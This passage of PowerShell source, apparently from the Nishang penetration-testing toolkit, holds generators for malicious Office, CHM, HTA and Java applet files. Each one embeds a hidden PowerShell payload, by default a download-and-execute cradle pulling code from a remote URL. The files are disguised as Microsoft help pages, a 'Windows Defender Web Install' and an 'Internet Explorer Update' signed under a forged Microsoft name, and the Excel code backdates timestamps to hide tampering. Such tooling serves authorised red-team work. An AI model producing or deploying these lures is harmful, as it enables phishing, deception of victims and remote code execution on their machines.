4363 Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
4364
4365 Set objStartup = objWMIService.Get("Win32_ProcessStartup")
4366 Set objConfig = objStartup.SpawnInstance_
4367 objConfig.ShowWindow = HIDDEN_WINDOW
4368 Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
4369 objProcess.Create "$Payload", Null, objConfig, intProcessID
4370 End Function
4371"@
4372
4373
4374 if ($ExcelFileDir)
4375 {
4376 $ExcelFiles = Get-ChildItem $ExcelFileDir *.xlsx
4377 if ($Recurse -eq $True)
4378 {
4379 $ExcelFiles = Get-ChildItem -Recurse $ExcelFileDir *.xlsx
4380 }
4381 ForEach ($ExcelFile in $ExcelFiles)
4382 {
4383 $Excel = New-Object -ComObject Excel.Application
4384 $Excel.DisplayAlerts = $False
4385 $WorkBook = $Excel.Workbooks.Open($ExcelFile.FullName)
4386 $ExcelModule = $WorkBook.VBProject.VBComponents.Item(1)
4387 $ExcelModule.CodeModule.AddFromString($CodeWorkbook)
4388 $Savepath = $ExcelFile.DirectoryName + "\" + $ExcelFile.BaseName + ".xls"
4389 #Append .xls to the original file name if file extensions are hidden for known file types.
4390 if ((Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced).HideFileExt -eq "1")
4391 {
4392 $Savepath = $ExcelFile.FullName + ".xls"
4393 }
4394 $WorkBook.Saveas($SavePath, 18)
4395 Write-Output "Saved to file $SavePath"
4396 $Excel.Workbooks.Close()
4397 $LastModifyTime = $ExcelFile.LastWriteTime
4398 $FinalDoc = Get-ChildItem $Savepath
4399 $FinalDoc.LastWriteTime = $LastModifyTime
4400 if ($RemoveXlsx -eq $True)
4401 {
4402 Write-Output "Deleting $($ExcelFile.FullName)"
4403 Remove-Item -Path $ExcelFile.FullName
4404 }
4405 $Excel.Quit()
4406 [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel)
4407 }
4408 }
4409 else
4410 {
4411 $WorkBook = $Excel.Workbooks.Add(1)
4412 $WorkSheet=$WorkBook.WorkSheets.item(1)
4413 $ExcelModule = $WorkBook.VBProject.VBComponents.Add(1)
4414 $ExcelModule.CodeModule.AddFromString($CodeAuto)
4415 $WorkBook.SaveAs($OutputFile, 18)
4416 Write-Output "Saved to file $OutputFile"
4417 $Excel.Workbooks.Close()
4418 $Excel.Quit()
4419 [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Excel)
4420 }
4421
4422 if ($RemainSafe -eq $True)
4423 {
4424 #Turn on Macro Security
4425 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name AccessVBOM -Value 0 -Force | Out-Null
4426 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name VBAWarnings -Value 0 -Force | Out-Null
4427 }
4428}
4429
4430#######################################Out-CHM#############################################
4431
4432
4433function Out-CHM
4434{
4435
4436<#
4437.SYNOPSIS
4438Nishang script useful for creating Compiled HTML Help file (.CHM) which could be used to run PowerShell commands and scripts.
4439.DESCRIPTION
4440The script generates a CHM file which needs to be sent to a target.
4441You must have hhc.exe (HTML Help Workshop) on your machine to use this script.
4442HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:
4443http://www.microsoft.com/en-us/download/details.aspx?id=21138
4444.PARAMETER Payload
4445Payload which you want execute on the target.
4446.PARAMETER PayloadURL
4447URL of the powershell script which would be executed on the target.
4448.PARAMETER Arguments
4449Arguments to the powershell script to be executed on the target.
4450.PARAMETER OutputPath
4451Path to the directory where the files would be saved. Default is the current directory.
4452.EXAMPLE
4453PS > Out-CHM -Payload "Get-Process" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4454Above command would execute Get-Process on the target machine when the CHM file is opened.
4455.EXAMPLE
4456PS > Out-CHM -PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4457Use above command to generate CHM file which download and execute the given powershell script in memory on target.
4458.EXAMPLE
4459PS > Out-CHM -Payload "-EncodedCommand <>" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4460Use above command to generate CHM file which executes the encoded command/script.
4461Use Invoke-Encode from Nishang to encode the command or script.
4462.EXAMPLE
4463PS > Out-CHM -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
4464Use above command to pass an argument to the powershell script/module.
4465.LINK
4466http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4467https://github.com/samratashok/nishang
4468.Notes
4469Based on the work mentioned in this tweet by @ithurricanept
4470https://twitter.com/ithurricanept/status/534993743196090368
4471#>
4472
4473
4474
4475 [CmdletBinding()] Param(
4476
4477 [Parameter(Position = 0, Mandatory = $False)]
4478 [String]
4479 $Payload,
4480
4481 [Parameter(Position = 1, Mandatory = $False)]
4482 [String]
4483 $PayloadURL,
4484
4485 [Parameter(Position = 2, Mandatory = $False)]
4486 [String]
4487 $Arguments,
4488
4489 [Parameter(Position = 3, Mandatory = $True)]
4490 [String]
4491 $HHCPath,
4492
4493 [Parameter(Position = 4, Mandatory = $False)]
4494 [String]
4495 $OutputPath="$pwd"
4496 )
4497
4498 #Check if the payload has been provided by the user
4499 if(!$Payload)
4500 {
4501 $Payload = "IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
4502 }
4503
4504 #Create the table of contents for the CHM
4505 $CHMTableOfContents = @"
4506<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
4507<HTML>
4508<HEAD>
4509<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
4510<!-- Sitemap 1.0 -->
4511</HEAD><BODY>
4512 <UL>
4513 <LI> <OBJECT type="text/sitemap">
4514 <param name="Name" value="IPv4 Advanced IP Settings Tab">
4515 <param name="Local" value="doc.htm">
4516 </OBJECT>
4517 </UL>
4518 <UL>
4519 <LI> <OBJECT type="text/sitemap">
4520 <param name="Name" value="IPv4 Advanced WINS Tab">
4521 <param name="Local" value="doc1.htm">
4522 </OBJECT>
4523 </UL>
4524 <UL>
4525 <LI> <OBJECT type="text/sitemap">
4526 <param name="Name" value="IPv4 Alternate Configuration Tab">
4527 <param name="Local" value="doc.htm">
4528 </OBJECT>
4529 </UL>
4530 <UL>
4531 <LI> <OBJECT type="text/sitemap">
4532 <param name="Name" value="IPv4 and IPv6 Advanced DNS Tab">
4533 <param name="Local" value="doc1.htm">
4534 </OBJECT>
4535 </UL>
4536</BODY>
4537</HTML>
4538"@
4539
4540 #Create the Project file for the CHM
4541 $CHMProject = @"
4542[OPTIONS]
4543Contents file=$OutputPath\doc.hhc
4544[FILES]
4545$OutputPath\doc.htm
4546$OutputPath\doc1.htm
4547"@
4548 #Create the HTM files, the first one controls the payload execution.
4549 $CHMHTML1 = @"
4550<HTML>
4551<TITLE>Check for Windows updates from Command Line</TITLE>
4552<HEAD>
4553</HEAD>
4554<BODY>
4555<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
4556<PARAM name="Command" value="ShortCut">
4557 <PARAM name="Button" value="Bitmap::shortcut">
4558 <PARAM name="Item1" value=",cmd.exe,/c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile $Payload">
4559 <PARAM name="Item2" value="273,1,1">
4560</OBJECT>
4561<SCRIPT>
4562x.Click();
4563</SCRIPT>
4564<html DIR="LTR" xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:tool="http://www.microsoft.com/tooltip"><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=Windows-1252"></META><META NAME="save" CONTENT="history"></META><title>IPv4 Advanced IP Settings Tab</title><link rel="stylesheet" type="text/css" href="../local/Classic.css"></link><script src="../local/script.js"></script></head><body><div id="header"><h1>IPv4 Advanced IP Settings Tab</h1></div><div id="mainSection"><div id="mainBody"><p class="runningHeader"></p>
4565<p>You can use the settings on this tab for this network connection only if you are not using the <b>Obtain an IP address automatically</b> on the <b>General</b> tab.</p>
4566<p><b>IP addresses</b> lists additional Internet Protocol version 4 (IPv4) addresses that can be assigned to this network connection. There is no limit to the number of IP addresses that can be configured. This setting is useful if this computer connects to a single physical network but requires advanced IP addressing because of either of the following reasons:</p>
4567<ul><li class="unordered">
4568A single logical IP network is in use and this computer needs to use more than one IP address to communicate on that network.<br /><br />
4569</li><li class="unordered">
4570Multiple logical IP networks are in use and this computer needs a different IP address to communicate with each of the different logical IP networks.<br /><br />
4571</li></ul>
4572<p><b>Default gateways</b> lists IP addresses for additional default gateways that can be used by this network connection. A default gateway is a local IP router that is used to forward packets to destinations beyond the local network. </p>
4573<p><b>Automatic metric</b> specifies whether TCP/IP automatically calculates a value for an interface metric that is based on the speed of the interface. The highest-speed interface has the lowest interface metric value. </p>
4574<p><b>Interface metric</b> provides a location for you to type a value for the interface metric for this network connection. A lower value for the interface metric indicates a higher priority for use of this interface. </p>
4575<h1 class="heading">Procedures</h1><div id="sectionSection0" class="section"><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4576<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To configure additional IP addresses for this connection</b></td></tr></table><ddue:steps><ol class="ordered" xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4577<p xmlns="">In <b>IP Addresses</b>, click <b>Add</b>.<b> </b></p>
4578</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4579<p xmlns="">Type an IP address in <b>IP address</b>. </p>
4580</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4581<p xmlns="">Type a subnet mask in <b>Subnet mask</b>, and then click <b>Add</b>.</p>
4582</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4583<p xmlns="">Repeat steps 1 through 3 for each IP address you want to add, and then click <b>OK</b>.</p>
4584</content></li></ol></ddue:steps>
4585<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To configure additional default gateways for this connection</b></td></tr></table><ddue:steps><ol class="ordered" xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4586<p xmlns="">On the <b>IP Settings</b> tab, in <b>Default gateways</b>, click <b>Add</b>.</p>
4587</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4588<p xmlns="">In <b>TCP/IP Gateway Address</b>, type the IP address of the default gateway in <b>Gateway</b>. To manually configure a default route metric, clear the <b>Automatic metric </b>check box and type a metric in <b>Metric</b>.</p>
4589</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4590<p xmlns="">Click <b>Add</b>.</p>
4591</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4592<p xmlns="">Repeat steps 1 through 3 for each default gateway you want to add, and then click <b>OK</b>.</p>
4593</content></li></ol></ddue:steps>
4594<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To configure a custom metric for this connection</b></td></tr></table><ddue:steps><ul xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4595<p xmlns="">Clear the <b>Automatic metric</b> check box, and then type a metric value in <b>Interface metric</b>.</p>
4596</content></li></ul></ddue:steps>
4597</content></div><h1 class="heading">Additional references</h1><div id="sectionSection1" class="section"><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4598<p xmlns="">For updated detailed IT pro information about TCP/IP versions 4 and 6, see <a href="http://go.microsoft.com/fwlink/?LinkID=117437" alt="" target="_blank"><linkText xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">http://go.microsoft.com/fwlink/?LinkID=117437</linkText></a> and <a href="http://go.microsoft.com/fwlink/?LinkID=71543" alt="" target="_blank"><linkText xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">http://go.microsoft.com/fwlink/?LinkID=71543</linkText></a>.</p>
4599</content></div></div><hr /><p /></div></body></html>
4600</BODY>
4601</HTML>
4602"@
4603 #Second help topic to make the file look authentic.
4604 $CHMHTML2 = @"
4605<html DIR="LTR" xmlns:MSHelp="http://msdn.microsoft.com/mshelp" xmlns:ddue="http://ddue.schemas.microsoft.com/authoring/2003/5" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:tool="http://www.microsoft.com/tooltip"><head><META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET=Windows-1252"></META><META NAME="save" CONTENT="history"></META><title>IPv4 Advanced WINS Tab</title><link rel="stylesheet" type="text/css" href="../local/Classic.css"></link><script src="../local/script.js"></script></head><body><div id="header"><h1>IPv4 Advanced WINS Tab</h1></div><div id="mainSection"><div id="mainBody"><p class="runningHeader"></p>
4606<p>You can use the settings on this tab for this network connection only if you are not using the <b>Obtain an IP address automatically</b> on the <b>General</b> tab.</p>
4607<p><b>WINS addresses, in order of use</b> lists the Windows Internet Name Service (WINS) servers that TCP/IP queries to resolve network basic input/output system (NetBIOS) names. WINS servers are queried in the order in which they are listed here.</p>
4608<p><b>Enable LMHOSTS lookup</b> specifies whether an Lmhosts file is used to resolve the NetBIOS names of remote computers to an IP address. </p>
4609<p>Click <b>Import LMHOSTS</b> to import a file into the Lmhosts file. The Lmhosts file is located in the %SystemRoot%\System32\Drivers\Etc folder on a Windows-based computer. There is also a sample Lmhosts file (Lmhosts.sam) in this folder. When you import LMHOSTS from a file, the original Lmhosts file is not appended to, but is overwritten by the new file.</p>
4610<p><b>NetBIOS setting</b> specifies whether this network connection obtains the setting to enable or disable NetBIOS over TCP/IP (NetBT) from a Dynamic Host Configuration Protocol (DHCP) server. </p>
4611<p>When an IP address is automatically obtained, the <b>Default</b> option is selected so that this computer uses the NetBT setting as optionally provided by the DHCP server when this computer obtains an IP address and configuration lease. If the Disable NetBIOS over TCP/IP (NetBT) DHCP option is provided by the DHCP server, the value of the option determines whether NetBT is enabled or disabled. If the Disable NetBIOS over TCP/IP (NetBT) DHCP option is not provided by the DHCP server, NetBT is enabled.</p>
4612<p>If you are manually configuring an IP address, selecting <b>Enable NetBIOS over TCP/IP</b> enables NetBT. This option is not available for dial-up connections.</p>
4613<h1 class="heading">Procedures</h1><div id="sectionSection0" class="section"><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4614<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To configure advanced WINS properties</b></td></tr></table><ddue:steps><ol class="ordered" xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4615<p xmlns="">In <b>WINS addresses, in order of use</b>, click <b>Add</b>, type the address of the WINS server, and then click <b>Add</b>.</p>
4616</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4617<p xmlns="">Repeat step 1 for each WINS server IP address you want to add, and then click <b>OK</b>.</p>
4618</content></li></ol></ddue:steps>
4619<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To enable the use of the Lmhosts file to resolve remote NetBIOS names</b></td></tr></table><ddue:steps><ul xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4620<p xmlns="">Select the <b>Enable LMHOSTS lookup</b> check box. This option is enabled by default.</p>
4621</content></li></ul></ddue:steps>
4622<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To specify the location of the file that you want to import into the Lmhosts file</b></td></tr></table><ddue:steps><ul xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4623<p xmlns="">Click <b>Import LMHOSTS</b>, and then select the file in the <b>Open</b> dialog box.</p>
4624</content></li></ul></ddue:steps>
4625<table class="alertTable" cellspacing="0" cellpadding="0" xmlns=""><tr><td class="imgCell"><img class="note" src="../local/Procedure.gif"></img></td><td class="procHeadingCell"><b>To enable or disable NetBIOS over TCP/IP</b></td></tr></table><ddue:steps><ul xmlns=""><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4626<p xmlns="">To enable the use of NetBIOS over TCP/IP, click <b>Enable NetBIOS over TCP/IP</b>.</p>
4627</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4628<p xmlns="">To disable the use of NetBIOS over TCP/IP, click <b>Disable NetBIOS over TCP/IP</b>.</p>
4629</content></li><li><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4630<p xmlns="">To have the DHCP server determine whether NetBIOS over TCP/IP is enabled or disabled, click <b>Default</b>.</p>
4631</content></li></ul></ddue:steps>
4632</content></div><h1 class="heading">Additional references</h1><div id="sectionSection1" class="section"><content xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">
4633<p xmlns="">For updated detailed IT pro information about TCP/IP versions 4 and 6, see <a href="http://go.microsoft.com/fwlink/?LinkID=117437" alt="" target="_blank"><linkText xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">http://go.microsoft.com/fwlink/?LinkID=117437</linkText></a> and <a href="http://go.microsoft.com/fwlink/?LinkID=71543" alt="" target="_blank"><linkText xmlns="http://ddue.schemas.microsoft.com/authoring/2003/5">http://go.microsoft.com/fwlink/?LinkID=71543</linkText></a>.</p>
4634</content></div></div><hr /><p /></div></body></html>
4635"@
4636
4637 #Write all files to disk for compilation
4638 Out-File -InputObject $CHMTableOfContents -FilePath "$OutputPath\doc.hhc" -Encoding default
4639 Out-File -InputObject $CHMHTML1 -FilePath "$OutputPath\doc.htm" -Encoding default
4640 Out-File -InputObject $CHMHTML2 -FilePath "$OutputPath\doc1.htm" -Encoding default
4641 Out-File -InputObject $CHMProject -FilePath "$OutputPath\doc.hhp" -Encoding default
4642
4643 #Compile the CHM, only this needs to be sent to a target.
4644 $HHC = "$HHCPath" + "\hhc.exe"
4645 & "$HHC" "$OutputPath\doc.hhp"
4646
4647 #Cleanup
4648 Remove-Item "$OutputPath\doc.hhc"
4649 Remove-Item "$OutputPath\doc.htm"
4650 Remove-Item "$OutputPath\doc1.htm"
4651 Remove-Item "$OutputPath\doc.hhp"
4652
4653}
4654
4655#######################################Out-HTA#############################################
4656
4657function Out-HTA
4658{
4659<#
4660.SYNOPSIS
4661Nishang script which could be used for generating HTML Application and accompanying VBscript. These could be deployed on
4662a web server and powershell scripts and commands could be executed on the target machine.
4663.DESCRIPTION
4664The script generates two files. A HTA file and a VBScript. The HTA and VBScript should be deployed in same directory of a web server.
4665When a target browses to the HTA file the VBScript is executed. This VBScript is used to execute powershell scripts and commands.
4666.PARAMETER Payload
4667Payload which you want execute on the target.
4668.PARAMETER PayloadURL
4669URL of the powershell script which would be executed on the target.
4670.PARAMETER Arguments
4671Arguments to the powershell script to be executed on the target.
4672.PARAMETER HTAFilePath
4673Path to the HTA file to be generated. Default is with the name WindDef_WebInstall.hta in the current directory.
4674.PARAMETER VBFilename
4675Name of the VBScript file to be generated, use without ".vbs" extension. Default is launchps.vbs.
4676.PARAMETER VBFilepath
4677Path to the HTA file to be generated. Default is with the name launchps.vbs in the current directory.
4678.EXAMPLE
4679PS > Out-HTA -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-ChildItem"
4680Above command would execute Get-ChildItem on the target machine when the HTA is opened.
4681.EXAMPLE
4682PS > Out-HTA -PayloadURL http://192.168.254.1/Get-Information.ps1
4683Use above command to generate HTA and VBS files which download and execute the given powershell script in memory on target.
4684.EXAMPLE
4685PS > Out-HTA -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM
4686Use above command to pass an argument to the powershell script/module.
4687.LINK
4688http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4689https://github.com/samratashok/nishang
4690#>
4691
4692
4693 [CmdletBinding()] Param(
4694
4695 [Parameter(Position = 0, Mandatory = $False)]
4696 [String]
4697 $Payload,
4698
4699 [Parameter(Position = 1, Mandatory = $False)]
4700 [String]
4701 $PayloadURL,
4702
4703
4704 [Parameter(Position = 2, Mandatory = $False)]
4705 [String]
4706 $Arguments,
4707
4708 [Parameter(Position = 3, Mandatory = $False)]
4709 [String]
4710 $VBFilename="launchps.vbs",
4711
4712 [Parameter(Position = 4, Mandatory = $False)]
4713 [String]
4714 $HTAFilePath="$pwd\WindDef_WebInstall.hta",
4715
4716
4717 [Parameter(Position = 5, Mandatory = $False)]
4718 [String]
4719 $VBFilepath="$pwd\launchps.vbs"
4720 )
4721
4722 if(!$Payload)
4723 {
4724 $Payload = "powershell.exe -ExecutionPolicy Bypass -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
4725 }
4726
4727 $HTA = @"
4728 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4729 <html xmlns="http://www.w3.org/1999/xhtml">
4730 <head>
4731 <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
4732 <title>Windows Defender Web Install</title>
4733 <script src="$VBFilename" type="text/vbscript" >
4734 </script>
4735 <hta:application
4736 id="oHTA"
4737 applicationname="Windows Defender Web Install"
4738 application="yes"
4739 >
4740 </hta:application>
4741 </head>
4742 <SCRIPT TYPE="text/javascript">
4743 function start(){
4744 Initialize();
4745 }
4746 //-->
4747 </SCRIPT>
4748 <div>
4749 <object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
4750 </object></div>
4751
4752
4753 <body onload="start()">
4754 </body>
4755 </html>
4756"@
4757
4758 $vbsscript = @"
4759 Sub Initialize()
4760 Set oShell = CreateObject( "WScript.Shell" )
4761 ps = "$Payload"
4762 oShell.run(ps),0,true
4763 End Sub
4764"@
4765
4766 Out-File -InputObject $HTA -FilePath $HTAFilepath
4767 Out-File -InputObject $vbsscript -FilePath $VBFilepath
4768 Write-Output "HTA and VBS written to $HTAFilepath and $VBFilepath respectively."
4769}
4770
4771
4772#######################################Out-Java#############################################
4773
4774function Out-Java
4775{
4776
4777<#
4778.SYNOPSIS
4779Nishang script which could be used for generating JAR to be used for applets.
4780.DESCRIPTION
4781The script generates a Signed JAR and one line HTML code. These could be deployed on a web server. When a target opens
4782up the URL hosting these, the predefined PowerShell commands and scripts could be executed on the target.
4783If you want to use valid/trusted certificate for signing use the -NoSelfSign option.
4784The JAR generated checks for the OS architecture and calls the 32-bit version of PowerShell for script execution.
4785So you need to pass only the 32 bit shellcode to it. In case you would like to use 64 bit PowerShell, remove the "if"
4786condition marked in the source of Java code being generated.
4787The script needs JDK to be installed on the attacker's machine. The parameters passed to keytool and jarsigner
4788could be changed in the source for further customization. Those are not asked as function parameters to keep the
4789number of parameters less for easy usage.
4790.PARAMETER Payload
4791Payload which you want execute on the target.
4792.PARAMETER $PayloadURL
4793URL of the powershell script which would be executed on the target.
4794.PARAMETER $Arguments
4795Arguments to the powershell script to be executed on the target.
4796.PARAMETER $JDKPath
4797Patj to the JDK to compile the .Java code.
4798.PARAMETER $OutputPath
4799Path to the directory where the files would be saved. Default is the current directory.
4800.PARAMETER $NoSelfSign
4801Use this switch if you don't want to create a self signed certificate for signing the JAR.
4802.EXAMPLE
4803PS > Out-Java -Payload "Get-Process" -JDKPath "C:\Program Files\Java\jdk1.7.0_25"
4804Above command would execute Get-Process on the target machine when the JAR or Class file is executed.
4805.EXAMPLE
4806PS > Out-Java -PayloadURL http://192.168.254.1/Get-Information.ps1 -JDKPath "C:\Program Files\Java\jdk1.7.0_25"
4807Use above command to generate JAR which download and execute the given powershell script in memory on target.
4808.EXAMPLE
4809PS > Out-Java -Payload "-e <EncodedScript>" -JDKPath "C:\Program Files\Java\jdk1.7.0_25"
4810Use above command to generate JAR which executes the encoded script.
4811Use Invoke-Command from Nishang to encode the script.
4812.EXAMPLE
4813PS > Out-Java -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -JDKPath "C:\Program Files\Java\jdk1.7.0_25"
4814Use above command to pass an argument to the powershell script/module.
4815.EXAMPLE
4816PS > Out-Java -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments Check-VM -JDKPath "C:\Program Files\Java\jdk1.7.0_25" -NoSelfSign
4817Due to the use of -NoSelfSign in above command, no self signed certificate would be used to sign th JAR.
4818.LINK
4819http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4820https://github.com/samratashok/nishang
4821#>
4822
4823
4824
4825 [CmdletBinding()] Param(
4826
4827 [Parameter(Position = 0, Mandatory = $False)]
4828 [String]
4829 $Payload,
4830
4831 [Parameter(Position = 1, Mandatory = $False)]
4832 [String]
4833 $PayloadURL,
4834
4835
4836 [Parameter(Position = 2, Mandatory = $False)]
4837 [String]
4838 $Arguments,
4839
4840 [Parameter(Position = 3, Mandatory = $True)]
4841 [String]
4842 $JDKPath,
4843
4844 [Parameter(Position = 4, Mandatory = $False)]
4845 [String]
4846 $OutputPath="$pwd",
4847
4848 [switch]
4849 $NoSelfSign
4850
4851
4852 )
4853
4854
4855 if(!$Payload)
4856 {
4857 $Payload = "IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
4858 }
4859
4860#Java code taken from the Social Enginnering Toolkit (SET) by David Kennedy
4861 $JavaClass = @"
4862import java.applet.*;
4863import java.awt.*;
4864import java.io.*;
4865public class JavaPS extends Applet {
4866public void init() {
4867Process f;
4868//http://stackoverflow.com/questions/4748673/how-can-i-check-the-bitness-of-my-os-using-java-j2se-not-os-arch/5940770#5940770
4869String arch = System.getenv("PROCESSOR_ARCHITECTURE");
4870String wow64Arch = System.getenv("PROCESSOR_ARCHITEW6432");
4871String realArch = arch.endsWith("64") || wow64Arch != null && wow64Arch.endsWith("64") ? "64" : "32";
4872String cmd = "powershell.exe -WindowStyle Hidden -nologo -noprofile $Payload";
4873//Remove the below if condition to use 64 bit powershell on 64 bit machines.
4874if (realArch == "64")
4875{
4876 cmd = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -nologo -noprofile $Payload";
4877}
4878try {
4879f = Runtime.getRuntime().exec(cmd);
4880}
4881catch(IOException e) {
4882e.printStackTrace();
4883}
4884Process s;
4885}
4886}
4887"@
4888
4889
4890 #Compile the Java file
4891 $JavaFile = "$OutputPath\JavaPS.java"
4892 Out-File -InputObject $JavaClass -Encoding ascii -FilePath $JavaFile
4893 $JavacPath = "$JDKPath" + "\bin\javac.exe"
4894 & "$JavacPath" "$JavaFile"
4895
4896 #Create a manifest for JAR, taken from SET
4897 $Manifest = @"
4898Permissions: all-permissions
4899Codebase: *
4900Application-Name: Microsoft Internet Explorer Update (SECURE)
4901"@
4902 $ManifestFile = "$OutputPath\manifest.txt"
4903 Out-File -InputObject $Manifest -Encoding ascii -FilePath $ManifestFile
4904
4905 #Create the JAR
4906 $Jarpath = "$JDKPath" + "\bin\jar.exe"
4907 & "$JarPath" "-cvfm" "$OutputPath\JavaPS.jar" "$ManifestFile" "JavaPS.class"
4908
4909 #Parameters passed to keytool and jarsigner. You may change these to your choice.
4910 $KeystoreAlias = "SignApplet"
4911 $KeyStore = "PSKeystore"
4912 $StorePass = "PSKeystorePass"
4913 $KeyPass = "PSKeyPass"
4914 $DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US"
4915
4916 if ($NoSelfSign -eq $False)
4917 {
4918 #Generate a keypair for self-signing
4919 #http://rvnsec.wordpress.com/2014/09/01/ps1encode-powershell-for-days/
4920 $KeytoolPath = "$JDKPath" + "\bin\keytool.exe"
4921 & "$KeytoolPath" "-genkeypair" "-alias" "$KeystoreAlias" "-keystore" "$KeyStore" "-keypass" "$KeyPass" "-storepass" "$StorePass" "-dname" "$DName"
4922
4923 #Self sign the JAR
4924 $JarSignerPath = "$JDKPath" + "\bin\jarsigner.exe"
4925 & "$JarSignerPath" "-keystore" "$KeyStore" "-storepass" "$StorePass" "-keypass" "$KeyPass" "-signedjar" "$OutputPath\SignedJavaPS.jar" "$OutputPath\JavaPS.jar" "SignApplet"
4926
4927 #Output simple html. This could be used with any cloned web page.
4928 #Host this HTML and SignedJarPS.jar on a web server.
4929 $HTMLCode = @'
4930 <div>
4931 <object type="text/html" data="http://windows.microsoft.com/en-IN/internet-explorer/install-java" width="100%" height="100%">
4932 </object></div>
4933 <applet code="JavaPS" width="1" height="1" archive="SignedJavaPS.jar" > </applet>'
4934'@
4935 $HTMLFile = "$OutputPath\applet.html"
4936 Out-File -InputObject $HTMLCode -Encoding ascii -FilePath $HTMLFile
4937
4938 #Cleanup
4939 Remove-Item "$OutputPath\PSKeyStore"
4940 Remove-Item "$OutputPath\JavaPS*"
4941 }
4942 elseif ($NoSelfSign -eq $True)
4943 {
4944 Write-Warning "You chose not to self sign. Use your valid certificate to sign the JavaPS.jar manually."
4945 #Cleanup
4946 Remove-Item "$OutputPath\JavaPS.java"
4947 Remove-Item "$OutputPath\JavaPS.class"
4948 }
4949 #Cleanup to remove temporary files
4950 Remove-Item "$OutputPath\manifest.txt"
4951}
4952
4953
4954#######################################Out-Shortcut#############################################
4955
